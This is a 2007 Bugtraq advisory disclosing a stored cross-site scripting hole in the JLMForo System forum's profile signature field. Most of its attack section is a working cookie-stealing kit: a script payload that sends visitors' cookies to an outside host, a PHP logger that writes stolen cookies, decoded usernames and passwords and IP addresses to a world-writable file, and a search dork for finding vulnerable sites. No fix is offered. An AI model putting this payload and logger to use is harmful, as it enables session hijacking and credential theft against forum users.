bugtraq - JLMForo System (modificarPerfil.php) Cross-Site Scripting Vulnerability

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Date: 26 Nov 2007 21:38:21 -0000
From: sys-project@...mail.com
To: bugtraq@...urityfocus.com
Subject: JLMForo System (modificarPerfil.php) Cross-Site Scripting
 Vulnerability

# JLMForo System (modificarPerfil.php) Cross-Site Scripting Vulnerability
# Download:
# http://www.miscodigos.com/aplicaciones/JLMForo%20System/
# Bug found by Jose Luis Góngora Fernández / JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team
# www.spanish-hackers.com
# /server irc.freenode.net /join #fullsecure
# d0rk: "Powered By JLMForo System"
# Stop lammer

# Explanation Basic :

1.- Register in the forum (registro.php)
2.- Put in your signature the XSS (modificarPerfil.php)
3.- Create a subject
4.- Wait to an answer to visualize the XSS

# To Rob Cookies:

1º- Register in the forum (registro.php)

2º- Put in your signature the XSS (modificarPerfil.php):

<script>window.location=’http://yousite.com/xss.php?cookie=’+document.cookie</script>

3º- Upload in your Site:

<?php
$archivo = fopen('log2.htm','a');//Aquí podemos cambiar el nombre del archivo a crear
$cookie = $_GET['c'];
$usuario = $_GET['id']; 
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.base64_decode($usuario).'<br>Cookie: '.$cookie.'<br>Pagina: '.$re.'<br> 

IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');
fclose($archivo);
?>

4º- Chmod 777 archive

5º- Create a subject

6º- Wait to an answer to run the XSS

 //---------------------------------------\\

Greetz To: All Hackers
Jose Luis Góngora Fernández / JosS!